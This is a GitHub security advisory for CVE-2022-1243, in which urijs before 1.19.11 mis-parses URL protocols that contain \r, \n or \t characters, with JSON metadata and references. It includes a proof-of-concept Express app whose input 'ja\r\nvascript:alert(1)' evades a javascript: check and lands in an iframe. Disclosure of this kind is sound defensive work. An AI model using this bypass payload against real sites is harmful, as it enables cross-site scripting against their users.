ghsa-3vjf-82ff-p4r3
Vulnerability from github
Published
2022-04-06 00:01
Modified
2022-04-14 20:13
Summary
Incorrect protocol extraction via \r, \n and \t characters
Details

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.

This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example): ```` const parse = require('urijs') const express = require('express') const app = express() const port = 3000

input = "ja\r\nvascript:alert(1)" url = parse(input)

console.log(url)

app.get('/', (req, res) => { if (url.protocol !== "javascript:") {res.send("")} })

app.listen(port, () => { console.log(Example app listening on port ${port}) }) ````

Show details on source website


{
  "affected": [
    {
      "ecosystem_specific": {
        "affected_functions": [
          "(urijs).parse"
        ]
      },
      "package": {
        "ecosystem": "npm",
        "name": "urijs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-1243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-07T15:45:58Z",
    "nvd_published_at": "2022-04-05T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "\\r, \\n and \\t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.\n\nThis can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):\n````\nconst parse = require(\u0027urijs\u0027)\nconst express = require(\u0027express\u0027)\nconst app = express()\nconst port = 3000\n\ninput = \"ja\\r\\nvascript:alert(1)\"\nurl = parse(input)\n\nconsole.log(url)\n\napp.get(\u0027/\u0027, (req, res) =\u003e {\n if (url.protocol !== \"javascript:\") {res.send(\"\u003ciframe src=\\\u0027\" + input + \"\\\u0027\u003eCLICK ME!\u003c/iframe\u003e\")}\n})\n\napp.listen(port, () =\u003e {\n console.log(`Example app listening on port ${port}`)\n})\n````",
  "id": "GHSA-3vjf-82ff-p4r3",
  "modified": "2022-04-14T20:13:56Z",
  "published": "2022-04-06T00:01:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/medialize/uri.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect protocol extraction via \\r, \\n and \\t characters"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.